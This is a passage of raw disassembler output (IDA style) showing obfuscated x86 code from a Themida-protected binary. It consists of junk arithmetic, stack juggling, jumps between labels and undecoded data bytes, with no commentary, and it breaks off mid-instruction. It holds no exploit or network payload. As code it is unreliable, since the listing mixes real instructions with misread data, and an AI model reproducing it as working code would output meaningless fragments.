CODE XREF: Themida_:005628C4j add ebp, 4 sub esp, 4 mov [esp], edx mov edx, 0A900499h shl edx, 2 not edx push 25Dh mov [esp], ebx mov ebx, 70A260CEh not ebx push esi mov esi, 56515DABh jmp loc_55A184 ; --------------------------------------------------------------------------- loc_555672: ; CODE XREF: Themida_:00556C20j xor ebp, eax pop eax sub ebp, 2EA037Fh mov ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_558DDD ; --------------------------------------------------------------------------- loc_55568B: ; CODE XREF: Themida_:005520EFj add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esi, ebx pop ebx jmp loc_553A1E ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 0BA611004h, 24742908h, 10685504h, 5D08BA61h, 8246C01h dd 17BE9h, 50C28100h, 1466530h, 50EA81F2h, 81466530h, 0D81AD1C2h dd 24348B0Bh, 5904C483h, 5E08950h, 4, 42Dh, 24048700h dd 0CBB5E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5556EE: ; CODE XREF: Themida_:005619DDj add esp, 4 mov edx, [esp] add esp, 4 not eax push eax neg dword ptr [esp] pop eax not eax xor eax, 5C4C4538h sub eax, 2D3AAF8Fh add ebp, eax mov eax, [esp] add esp, 4 add ebp, esi sub ebp, 581F4A16h jmp loc_5541BB ; --------------------------------------------------------------------------- loc_555725: ; CODE XREF: Themida_:00565758j push 97Bh mov [esp], eax pop esi mov eax, [esp] add esp, 4 xor ebx, esi pop esi jmp loc_559E92 ; --------------------------------------------------------------------------- db 5Ah dd 5C241C87h, 0EB468h, 29F8E900h, 0D1F70000h, 0FFD5A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_555755: ; CODE XREF: Themida_:005605C9j add esi, 4 add esi, 4 xchg esi, [esp] pop esp push eax mov eax, esp add eax, 4 jmp loc_5619F2 ; --------------------------------------------------------------------------- loc_555772: ; CODE XREF: Themida_:0055FE1Ej and ecx, eax jmp loc_55B08A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4C7h, 4C78100h, 57000000h, 42474FFh, 0C2C8E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555796: ; CODE XREF: Themida_:00561BC1j pop dword ptr [esp] jmp loc_5536DB ; --------------------------------------------------------------------------- dw 0C483h dd 2434FF04h, 0E92434FFh, 54FCh, 1B5EBE56h, 0BEE935C7h db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5557B7: ; CODE XREF: Themida_:005653DAj add ebx, 7C242599h inc ebx jmp loc_55107A ; --------------------------------------------------------------------------- db 28h dd 0CF085AD1h, 592434FFh, 4C481h, 51660000h, 0FFC52FE9h dd 81E289FFh, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0CD0h dd 0C3315B5Ah, 1167E9h db 0 ; --------------------------------------------------------------------------- loc_5557F9: ; CODE XREF: Themida_:0055E939j push ebp mov ebp, 4 sub edi, ebp pop ebp jmp loc_55E20C ; --------------------------------------------------------------------------- db 81h dd 8A6778C3h, 8BDD29A2h, 0BE9241Ch, 500000DBh, 0D4F609B4h dd 8006ECC0h, 52E99FF4h db 0C9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555827: ; CODE XREF: Themida_:0055B472j neg ebp jmp loc_55AA55 ; --------------------------------------------------------------------------- loc_55582E: ; CODE XREF: Themida_:0055A0A5j pop esp mov [esp], edi push eax jmp loc_5624B6 ; --------------------------------------------------------------------------- dd 2434FF5Dh, 0D3FCE9h db 0 ; --------------------------------------------------------------------------- loc_555841: ; CODE XREF: Themida_:00557437j not eax jmp loc_556586 ; --------------------------------------------------------------------------- loc_555848: ; CODE XREF: Themida_:0055A370j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], edx mov edx, 6DEA0329h push edi sub esp, 4 mov [esp], ebp mov ebp, 6F784856h push ebp sub dword ptr [esp], 29D91FC0h pop edi add edi, 29D91FC0h jmp loc_55AE6F ; --------------------------------------------------------------------------- db 1, 0D1h, 5Ah dd 5C240C87h, 0FF2434FFh, 76E92434h db 0F4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55589B: ; CODE XREF: Themida_:005532D9j mov eax, ebx pop ebx push edx mov edx, 7C4007A3h not edx dec edx jmp loc_55E84B ; --------------------------------------------------------------------------- loc_5558AC: ; CODE XREF: Themida_:00560A46j push ebx mov ebx, 15906685h add ebx, 2F6249EDh xor ebx, 43DBB6ADh add ecx, ebx pop ebx push edx mov edx, 7CF05D42h shl edx, 6 xor edx, 5F715003h jmp loc_565965 ; --------------------------------------------------------------------------- db 58h, 0E9h, 0FDh db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5558DB: ; CODE XREF: Themida_:00562C18j mov eax, 2Ch push eax push esi mov esi, 667A31F0h add [esp+4], esi jmp loc_5542EA ; --------------------------------------------------------------------------- dd 1483685Dh, 1C890000h, 37ECE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5558FE: ; CODE XREF: Themida_:00557E3Dj pop edx sub ebx, 362F1517h add ebx, edi push edx jmp loc_554E79 ; --------------------------------------------------------------------------- loc_55590D: ; CODE XREF: Themida_:00561871j sub eax, edx pop edx add esi, eax pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shr eax, 0Eh jmp loc_562E19 ; --------------------------------------------------------------------------- db 68h dd 95Ah, 0BA241489h, 0 dd 0E94E9h db 0 ; --------------------------------------------------------------------------- loc_555939: ; CODE XREF: Themida_:00563B1Dj test cl, al pushf jmp loc_5509AF ; --------------------------------------------------------------------------- aRitusS db 'R┴БUИ|≥',0 align 2 dw 42Dh dd 87000000h, 895C2404h, 0B2E9241Ch, 8BFFFFDDh, 2C68242Ch dd 89000060h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h dd 0FFC1315Ch, 57E92434h, 810000BFh, 88020AEEh, 2434FF35h dd 4C48159h, 33000000h, 34312434h, 24343324h, 0CFF665Ch dd 0CE99C24h, 55FFFFB0h, 0C684E9h, 0E9585B00h, 3E3Ch ; --------------------------------------------------------------------------- loc_5559B0: ; CODE XREF: Themida_:00559FB6j sub edx, 4EF3201Dh mov ecx, [esp] jmp loc_55A754 ; --------------------------------------------------------------------------- dw 8159h dd 4ECh, 24048900h, 815E9h db 0 ; --------------------------------------------------------------------------- loc_5559CD: ; CODE XREF: Themida_:0056311Ej sub edi, 325A0A39h xor edi, 25BE1D0Ch jmp loc_554AE9 ; --------------------------------------------------------------------------- dw 3C89h dd 4EC8124h, 89000000h, 88E9240Ch db 0F5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5559EF: ; CODE XREF: Themida_:0055F83Fj mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_564CAC ; --------------------------------------------------------------------------- db 89h, 0F8h, 0E9h dd 0FFFFC22Bh, 5BC06855h, 815D5F92h, 925BBCEDh, 5DEB895Fh dd 1568C781h, 58E91A6Eh db 50h, 2 dup(0) byte_555A1F db 0FFh ; DATA XREF: Themida_:0055089Co dd 34FF2434h, 0DC3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555A2A: ; CODE XREF: Themida_:00563A80j pop eax pop ecx sub ecx, edi pop edi jmp loc_554861 ; --------------------------------------------------------------------------- loc_555A34: ; CODE XREF: Themida_:00560F1Cj push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp popa popf retn ; --------------------------------------------------------------------------- dd 0FFAF6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_555A45: ; CODE XREF: Themida_:005598D8j push dword ptr [ebx] sub esp, 4 jmp loc_558092 ; --------------------------------------------------------------------------- loc_555A4F: ; CODE XREF: Themida_:0055F172j push eax mov eax, 0 sub eax, 56AE3B18h add eax, ebx add eax, 56AE3B18h add dword ptr [eax], 1 jmp loc_557752 ; --------------------------------------------------------------------------- loc_555A6C: ; CODE XREF: Themida_:00554CF2j push dword ptr [esp] pop ecx jmp loc_5545FA ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 1BF568h, 24248900h, 4240481h, 0FF000000h, 348B2434h dd 0E7895724h, 4C781h, 0D0E90000h, 8B00004Bh, 0C4832404h dd 23C46804h, 2C890000h, 29E95124h db 0D6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555AAF: ; CODE XREF: Themida_:0055FC27j push 3814h mov [esp], eax jmp loc_5620B2 ; --------------------------------------------------------------------------- dd 133D8905h, 55D8013Eh, 0B7B1E9h, 2D966800h, 24890000h dd 24048324h, 24048F04h, 4B850h, 6C810000h, 4AE30424h dd 44011053h, 0E9510424h, 0BC46h, 861D7DBAh, 0EAC14A69h dd 5DF28102h, 81143071h, 1383EFEAh, 19AE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B0A: ; CODE XREF: Themida_:0055F0DAj inc edi dec edi shl edi, 5 xor edi, 0E77791Ch add edi, 5C9F97E9h mov esi, edi pop edi add esi, edx pop edx add edi, esi pop esi jmp loc_561C15 ; --------------------------------------------------------------------------- loc_555B29: ; CODE XREF: Themida_:00563898j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx mov ebx, 4 sub ebp, 41C1Eh add ebp, ebx add ebp, 41C1Eh pop ebx push esi push ebp jmp loc_557B9C ; --------------------------------------------------------------------------- loc_555B57: ; CODE XREF: Themida_:0055EB1Bj pop ebp mov ecx, [esp] add esp, 4 jmp loc_55802F ; --------------------------------------------------------------------------- dw 0C181h dd 451213FCh, 4EBBB850h, 0C1210914h, 81414158h, 27BF1E9h dd 0B4C38162h, 14E5549h, 0B4EB81CBh, 594E5549h, 1C8BDE01h dd 4C48124h, 83000000h, 343304C6h, 0F986E924h, 8758FFFFh dd 248B2414h, 24048F24h, 5524248Bh, 0E904EC83h, 0FFFFAFD3h dd 0F1865866h, 741968h, 24148900h, 0EA8000B2h, 0D399E9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555BCE: ; CODE XREF: Themida_:00557AD7j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add eax, ecx add [eax], esi push dword ptr [esp] pop eax add esp, 4 jmp loc_558B40 ; --------------------------------------------------------------------------- db 83h dd 1C8704C3h, 24248B24h, 51C8AF0Fh, 0ADADE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555C02: ; CODE XREF: Themida_:005611EEj mov [esp], esi mov ebx, [esp] add esp, 4 push dword ptr [esp] pop esi push edx mov edx, esp jmp loc_55FD8B ; --------------------------------------------------------------------------- db 5Ch dd 7DBE5653h, 0C10AE918h, 0D4E903E6h, 83000068h, 5F042404h dd 3A76E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555C32: ; CODE XREF: Themida_:005566C1j neg eax add eax, 52300B68h add ebx, 67EB1305h add ebx, eax jmp loc_56591B ; --------------------------------------------------------------------------- aN1Sc db '╜1ьИФт',0 ; DATA XREF: Themida_:00550814o align 2 aSS_4 db '\И(s',0 align 4 dd 0A348780Dh, 6D410D59h, 0E0D15CA9h, 0F6DEF635h, 75BE9FFh dd 14870000h, 24248B24h, 0E9240489h, 0B2A9h, 0D4BE5653h dd 51604E49h, 0BA7FE957h, 505C0000h, 1356FB8h, 8E0C14Dh dd 85F1E9h, 0B8505700h, 0F61DE049h, 0E958C789h, 0ED34h dd 815AD589h, 0D1AE28C5h, 5DEE297Fh, 34FFF529h, 2434FF24h dd 4C4815Eh, 83000000h, 0FF5504C4h, 5D042474h, 5C24048Fh dd 54241489h, 3091E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_555CD6: ; CODE XREF: Themida_:00552120j mov edx, 7E55476Fh add ecx, edx mov edx, [esp] add esp, 4 shl ecx, 1 dec ecx xor ecx, 225C7EC7h sub edx, 135E00A1h add edx, ecx add edx, 135E00A1h push dword ptr [esp] pop ecx add esp, 4 jmp loc_565A5E ; --------------------------------------------------------------------------- dd 2C481h, 0D6F60000h, 72E9C6FEh, 5FFFFFEEh, 6F5D4405h dd 0E9F00137h, 90C8h, 5DD1685Ch, 4890000h, 762FE924h, 8B540000h dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 4C1815Ch dd 68000000h, 732h, 57242C89h, 0A807A0BFh, 73BB5357h, 814B1377h dd 0F92CFCEBh, 5BDF294Ah, 0C232E9h db 0 ; --------------------------------------------------------------------------- loc_555D71: ; CODE XREF: Themida_:00561C38j pop dword ptr [esp] pop esp btc [esp], ax pushf jmp loc_5509AF ; --------------------------------------------------------------------------- dword_555D80 dd 184068h, 243C8900h, 0BD13E9h, 5DE80100h, 730BB905h ; DATA XREF: Themida_:00550794o dd 24148B39h, 5E08950h, 4, 8704C083h, 0E95C2404h, 0F581h dword_555DAC dd 683C77FFh, 4792h, 0E9243C89h, 1A99h, 0E281D2F7h, 542D60A5h ; DATA XREF: Themida_:0055073Co dd 294BEA81h, 0D101D681h, 829CE9h db 0 ; --------------------------------------------------------------------------- loc_555DD1: ; CODE XREF: Themida_:005535B7j xchg ebx, [esp] pop esp jmp loc_557BDB ; --------------------------------------------------------------------------- loc_555DDA: ; CODE XREF: Themida_:005561A1j xor edx, 976A6B16h add ebx, edx mov edx, [esp] jmp loc_558318 ; --------------------------------------------------------------------------- dw 5056h dd 405E089h, 2D000000h, 4, 5C240487h, 0E9242489h, 0FF9h ; --------------------------------------------------------------------------- loc_555E04: ; CODE XREF: Themida_:00556390j xchg ebp, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_550C13 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 0FFC99EE9h db 0FFh ; --------------------------------------------------------------------------- loc_555E21: ; CODE XREF: Themida_:0055BF9Bj push eax mov eax, 0D383965h shl eax, 3 sub eax, 0BDD0181Ch jmp loc_55FEA1 ; --------------------------------------------------------------------------- dd 6EE9FD88h, 5FFFFFFBh, 555F5457h, 4BDh, 5DEF0100h, 8704EF83h dd 895C243Ch, 0B5E92404h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555E57: ; CODE XREF: Themida_:0055BE0Fj add esp, 4 jmp loc_55DA7D ; --------------------------------------------------------------------------- byte_555E5F db 66h ; DATA XREF: Themida_:00550924o dd 8124048Bh, 4ECh, 241C8900h, 3FADE9h, 57595400h, 90D2E9h db 0 ; --------------------------------------------------------------------------- loc_555E79: ; CODE XREF: Themida_:005591EAj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp loc_555E86: ; CODE XREF: Themida_:005510A7j push 2972h mov [esp], edi push ebx pop edi mov eax, edi push dword ptr [esp] push dword ptr [esp] pop edi sub esp, 4 mov [esp], ebx mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx push 31D9h mov [esp], eax push edx mov edx, 4 mov eax, edx jmp loc_550C71 ; --------------------------------------------------------------------------- aCHW db 'аФ',7,'hаw',0 align 2 dw 1489h dd 0C6BD5524h, 81388C0Ch, 4ECh, 0BD9CE900h, 0F301FFFFh dd 0C9EC381h, 875E07FBh, 248B241Ch, 24048F24h, 66F1F65Ch dd 0E9CCB60Fh, 0CBD7h, 8137B753h, 4ECh, 24048900h, 0E70838B4h dd 5C9BE9h db 0 ; --------------------------------------------------------------------------- loc_555F11: ; CODE XREF: Themida_:005526FBj add ebp, 4 push ecx jmp loc_55D299 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0BA52E689h, 4, 38D7C681h, 0D60128E9h, 38D7EE81h, 0E95A28E9h dd 0FFFFB013h, 4EF81h, 3C870000h, 24248B24h, 0E9241489h dd 0FFFFAAEFh, 0B1E9E189h, 5A000059h, 4EC81h, 3EE90000h dd 83FFFFDCh, 0C78104C4h, 4, 0D2B0E9h db 0 byte_555F71 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550778o dd 0E7895724h, 4C781h, 0BA520000h, 4, 148BD729h, 5E545624h dd 6E7E9h, 0AA19E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555F96: ; CODE XREF: Themida_:0055E737j pop eax sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edi push esi mov esi, 24h jmp loc_557B51 ; --------------------------------------------------------------------------- dw 1431h aSb db '$И║ж',0 align 2 dw 0BE56h dd 4AC8080Fh, 0C15EF129h, 0D9F703E1h, 0F3B85049h, 315614F4h dd 12E958C1h, 81000092h, 0B639AFE6h, 33CE8130h, 460B2145h dd 55B4EE81h, 0CFE90B37h, 8B0000F0h, 8953240Ch, 4C381E3h dd 81000000h, 4C3h, 74FF5300h, 8F5B0424h, 0BEE92404h, 0BA00009Ah dd 5FE71FBAh, 77E9D009h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556017: ; CODE XREF: Themida_:0055E34Aj push 24E35311h pop ebp add ebp, 0FA19092Eh jmp loc_556602 ; --------------------------------------------------------------------------- dword_556028 dd 0E9028F64h, 0FFFFA97Fh ; DATA XREF: Themida_:00550788o ; --------------------------------------------------------------------------- loc_556030: ; CODE XREF: Themida_:0055D772j mov esi, ebx jmp loc_558304 ; --------------------------------------------------------------------------- db 89h dd 0A4B3241Ch, 0FE05EBC0h, 0ACEB80CBh, 280BB252h, 24148BD3h dd 5E08950h, 4, 8704C083h, 525C2404h, 80C2B151h, 0E98013E9h dd 5E1C0DDh, 0DEE9D1F6h, 0FF000004h, 5D042474h, 8B24048Fh dd 0F662424h, 9C2404BBh, 0FFA92AE9h db 0FFh ; --------------------------------------------------------------------------- loc_556085: ; CODE XREF: Themida_:0055EBCAj mov edx, 39F50762h push ebp mov ebp, 690822D4h sub edx, ebp pop ebp jmp loc_560A3D ; --------------------------------------------------------------------------- aXhI db 'Xh|i',0 align 2 dw 3489h dd 7FFC6824h, 24890000h, 0BA94E924h, 815BFFFFh, 34CAEC2h dd 7966E932h, 0E6890000h, 4C681h, 0EE830000h, 24348704h dd 243C895Ch, 243C8B54h, 5204C483h, 0A43E3BBAh, 8B5EE96Bh dd 0E0C10000h, 0FFBE5606h, 1FFFFFFh, 0E9575EF0h, 7F85h dd 42474FFh, 0FFDCABE9h, 52C181FFh, 1250907h, 87E955D1h dd 0B800001Dh, 4178409Eh, 123D2548h, 5E0D0557h, 0E912960Dh dd 9FCBh, 0E95AF088h, 0FFFFCE8Ah, 5724148Bh, 0E38EE9h db 0 ; --------------------------------------------------------------------------- loc_55612D: ; CODE XREF: Themida_:00560106j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp shr ecx, 0Bh push 59C2h mov [esp], ebx mov eax, [esp] push eax mov eax, esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push edx mov edx, 0A1364D7h mov ecx, 5AC6268Dh not ecx neg ecx sub ecx, 2A903804h jmp loc_55BCE0 ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 36E4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55618E: ; CODE XREF: Themida_:0055E0CDj push ebx mov ebx, 83E068Eh dec ebx inc ebx shl ebx, 8 push edx mov edx, 60310894h neg edx jmp loc_555DDA ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFC6C0h ; --------------------------------------------------------------------------- loc_5561AC: ; CODE XREF: Themida_:00554461j push esp pop ecx add ecx, 4 push esi mov esi, 4 push eax mov eax, 25777AF2h sub ecx, eax pop eax jmp loc_564503 ; --------------------------------------------------------------------------- aBLeYs2_ db '│г▀e`yИ2_',0 db 0 ; --------------------------------------------------------------------------- loc_5561D3: ; CODE XREF: Themida_:0055FC3Ej mov edx, 0B08D8B0Fh sub eax, 2FD0859h jmp loc_5640DA ; --------------------------------------------------------------------------- dw 14F6h dd 0CFF0E924h, 0EE090000h, 3D5FE9h, 0EB895F00h, 0CCBD555Dh dd 0E9263532h, 0A35Dh ; --------------------------------------------------------------------------- loc_556200: ; CODE XREF: Themida_:0055C202j pop ecx sub edx, 0BA38E529h dec edx push ebp mov ebp, 5D3C230Bh xor edx, ebp pop ebp add ecx, edx pop edx jmp loc_563B17 ; --------------------------------------------------------------------------- loc_556219: ; CODE XREF: Themida_:00560BB3j and ch, 0B9h xor ch, 55h push edx mov dl, ch mov ah, dl pop edx push dword ptr [esp] mov ecx, [esp] push edx jmp loc_552A29 ; --------------------------------------------------------------------------- db 5Ah, 47h, 0C1h dd 814707E7h, 2BA85F7h, 0FFF82945h, 19E92434h, 570000D6h dd 68242C8Bh, 71Ah, 0E9240489h, 4D4h, 815FFD21h, 0E73326C5h dd 56E5D135h, 0D45386BEh, 0CEED81A1h, 29460A70h, 0F1BFE9F5h dd 0C1830000h, 240C8704h, 0F8E9535Ch db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556283: ; CODE XREF: Themida_:0055B502j mov [esp], esp push ebx mov ebx, 4 jmp loc_550B48 ; --------------------------------------------------------------------------- db 5Bh, 50h, 0B8h dd 4, 43D3C581h, 0C5290AA1h, 0CBD5557h, 8161A124h, 336E74CDh dd 3EDC16Bh, 3461E9h, 4C48300h, 0E9240433h, 9F53h, 65C3815Ah dd 8B424E01h, 0C481243Ch, 4, 8B241C87h, 89662424h, 0ABE92404h dd 2DFFFFECh, 2B2B3839h, 5D3A055Fh, 0C101CAECh, 0E924048Bh dd 7AC4h, 0E9FB0166h, 0B259h ; --------------------------------------------------------------------------- loc_5562FC: ; CODE XREF: Themida_:0055C4DCj mov esp, [esp] mov [esp], eax mov eax, 19D219Ah push esi mov esi, esp jmp loc_56179C ; --------------------------------------------------------------------------- loc_55630F: ; CODE XREF: Themida_:00556514j shl edi, 6 sub edi, 9E1089BEh mov ecx, edi pop edi mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 push edi jmp loc_5529D0 ; --------------------------------------------------------------------------- loc_55632A: ; CODE XREF: Themida_:0055E846j pop ecx jmp loc_5512FC ; --------------------------------------------------------------------------- loc_556330: ; CODE XREF: Themida_:00558246j add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp xchg eax, ebp push dword ptr [esp] pop eax jmp loc_55C891 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4EAAE581h, 0E5C133DCh, 4DED8107h, 133219Ah, 0ADE95DE8h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_556367: ; CODE XREF: Themida_:0055A7ACj add dword ptr [esp], 51F62C72h mov ebx, [esp] jmp loc_55DEAC ; --------------------------------------------------------------------------- dw 3487h dd 24248B24h, 0FFEA4FE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_555E04 ; --------------------------------------------------------------------------- loc_556395: ; CODE XREF: Themida_:00561D4Bj not bh xor bh, 68h xor bh, 18h or cl, bh jmp loc_55F91F ; --------------------------------------------------------------------------- loc_5563A4: ; CODE XREF: Themida_:00563E8Ej add ecx, 307D4D19h jmp loc_551FBF ; --------------------------------------------------------------------------- loc_5563AF: ; CODE XREF: Themida_:00554C83j sub ebp, 65244978h jmp loc_56214C ; --------------------------------------------------------------------------- loc_5563BA: ; CODE XREF: Themida_:005605C2j sub ecx, 4 xchg ecx, [esp] jmp loc_558B2A ; --------------------------------------------------------------------------- db 1, 0C5h, 0E9h dd 0F67Fh, 241C895Ch, 0C5E4E9h, 2414F700h, 0B6E9555Bh db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5563DF: ; CODE XREF: Themida_:0055C962j mov edx, 16D55F13h sub edi, edx mov edx, [esp] add esp, 4 shl edi, 1 xchg eax, edi jmp loc_565110 ; --------------------------------------------------------------------------- aYsE db 'YИуE',0 dd 4EC8100h, 0E9000000h, 58AEh, 7B18E959h, 0D7290000h dd 313CE9h, 240C8700h, 5324248Bh, 190344BBh, 96AEE909h dd 0F7470000h, 2556E9D7h, 0EA810000h, 2AB6C9Ah, 0C9F68h dd 243C8900h, 422FB2BFh, 9EEF8159h, 525DAA0Eh, 167A09BAh dd 2EAC17Fh, 38E4F281h, 62E95B84h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55645B: ; CODE XREF: Themida_:00554E74j mov [esp], edi mov edi, 4 add [esp+4], edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_556A1F ; --------------------------------------------------------------------------- db 89h dd 0D6BD55E6h, 813E7C07h, 381262C5h, 81DDF762h, 0C2137BEDh dd 3AC5817Ah, 81386F14h, 0DE6DE7C5h, 0E9D5F7ECh, 0B94Ah dd 4C181h, 0C1810000h, 4, 0E9240C87h, 2388h ; --------------------------------------------------------------------------- loc_5564B8: ; CODE XREF: Themida_:00563C15j xor [esp], ecx jmp loc_55E966 ; --------------------------------------------------------------------------- dd 5EE95052h, 33FFFFCDh, 4312404h, 6471E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5564D2: ; CODE XREF: Themida_:0055DF1Aj mov eax, [esp] sub esp, 4 mov [esp], esi jmp loc_55439E ; --------------------------------------------------------------------------- dd 0EE80DEF6h, 0A7C780DFh, 0EF80F728h, 0B6525AA7h, 1AF7E9A6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5564F6: ; CODE XREF: Themida_:00554D0Dj add eax, 93E32831h and esi, eax pop eax push ebp push edi mov edi, 47197EF4h shr edi, 3 jmp loc_55814E ; --------------------------------------------------------------------------- loc_55650D: ; CODE XREF: Themida_:00563CA0j add esp, 4 dec edi jmp loc_55630F ; --------------------------------------------------------------------------- loc_556519: ; CODE XREF: Themida_:005629A5j push edi push esi push 334Eh mov [esp], edi push 58C43C6h pop edi jmp loc_55231C ; --------------------------------------------------------------------------- dw 0E95Eh dd 0E51Ch ; --------------------------------------------------------------------------- loc_556534: ; CODE XREF: Themida_:005529A0j add edx, 4 xchg edx, [esp] jmp loc_551730 ; --------------------------------------------------------------------------- db 5Ch dd 2474FF57h, 243C8B04h, 0C50CE9h, 8DF18000h, 0BFD0E9h db 0 ; --------------------------------------------------------------------------- loc_556555: ; CODE XREF: Themida_:00551086j dec edx shl edx, 1 jmp loc_55BFA0 ; --------------------------------------------------------------------------- loc_55655D: ; CODE XREF: Themida_:0056142Cj mov [esp], edx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_551000 ; --------------------------------------------------------------------------- loc_556574: ; CODE XREF: Themida_:00563340j add esp, 4 jmp loc_550DBC ; --------------------------------------------------------------------------- aAaS db 'пМ─мтИ',0Bh,'й',0 align 2 loc_556586: ; CODE XREF: Themida_:00555843j add eax, 0EFC27D9Dh add edx, eax pop eax sub esp, 4 mov [esp], ecx jmp loc_559F9D ; --------------------------------------------------------------------------- aLRtsZ db '[▀,$RTИ!┤',0 align 4 loc_5565A4: ; CODE XREF: Themida_:00557DDBj push ecx mov ecx, 71D46F6Fh shl ecx, 4 not ecx add ecx, 41B04091h add edi, ecx pop ecx add esi, edi pop edi sub esi, 2B0F4A6Ch mov edx, esi pop esi mov ebp, 5A703A91h xor ebp, 0D246B6BAh add ebp, edx pop edx and eax, ebp mov ebp, [esp] jmp loc_55F6EC ; --------------------------------------------------------------------------- loc_5565DC: ; CODE XREF: Themida_:00560416j mov ebx, 64946C1Dh add ebx, 471169F5h xor ebx, 8911E639h add ecx, ebx pop ebx push eax push edi mov edi, 5C664DEh push edx mov edx, 7F153DA5h jmp loc_55D7F4 ; --------------------------------------------------------------------------- loc_556602: ; CODE XREF: Themida_:00556023j mov edi, ebp pop ebp push ebp mov ebp, 3C5A4C4Eh xor edi, ebp pop ebp neg edi sub edi, 2CE67F02h push ebp mov ebp, 0E7192A07h xor edi, ebp pop ebp add eax, 64CF5CFEh add eax, 66C22ADCh sub eax, edi sub eax, 66C22ADCh push edx mov edx, 1FF1306Eh jmp loc_56395F ; --------------------------------------------------------------------------- db 81h dd 627F89F7h, 8BFE89F8h, 8DE9243Ch, 8900002Eh, 405E0h dd 0BA520000h, 1BCF6D13h, 6D0FEA81h, 0B2E91BCFh, 89FFFFA3h dd 2B82404h, 1000000h, 24048BC5h, 0E904C483h, 0E11Fh, 4C681h dd 5EE90000h, 66000069h, 2404B30Fh, 0A321E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55668E: ; CODE XREF: Themida_:0055B0CBj sub al, ch pop cx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push cx mov cl, 0CBh sub bl, cl pop cx sub esp, 4 mov [esp], ecx mov ch, 0D4h add bl, ch pop ecx sub bl, al sub bl, 0D4h push eax jmp loc_562B1B ; --------------------------------------------------------------------------- loc_5566BC: ; CODE XREF: Themida_:00563594j mov eax, 52300B64h jmp loc_555C32 ; --------------------------------------------------------------------------- dw 0C483h dd 0EA816602h, 0BDE90285h, 280000E3h, 240C8BEBh, 4C481h dd 0A9E90000h, 54000011h, 0FDBE95Dh, 29660000h, 0C38166D3h dd 0E95A17EAh, 0FFFFC361h, 0E904C483h, 23Eh ; --------------------------------------------------------------------------- loc_556700: ; CODE XREF: Themida_:00551A1Cj sub ebx, 5AB45DE0h push edi mov edi, 433E7501h jmp loc_561051 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 1C4F215Ch, 57240C8Bh, 90C1E9h, 0FFE82000h, 0E9592434h dd 2EB6h, 0F0E9E089h db 96h, 2 dup(0) byte_556733 db 0FFh ; DATA XREF: Themida_:005507A0o dd 0E9582434h, 0FFFFDA49h ; --------------------------------------------------------------------------- loc_55673C: ; CODE XREF: Themida_:00562520j push 4DA8h mov [esp], ebx jmp loc_561399 ; --------------------------------------------------------------------------- loc_556749: ; CODE XREF: Themida_:0055243Cj mov ebp, 79E65719h sub ecx, 1E714284h push eax jmp loc_55D665 ; --------------------------------------------------------------------------- loc_55675A: ; CODE XREF: Themida_:0055848Aj add 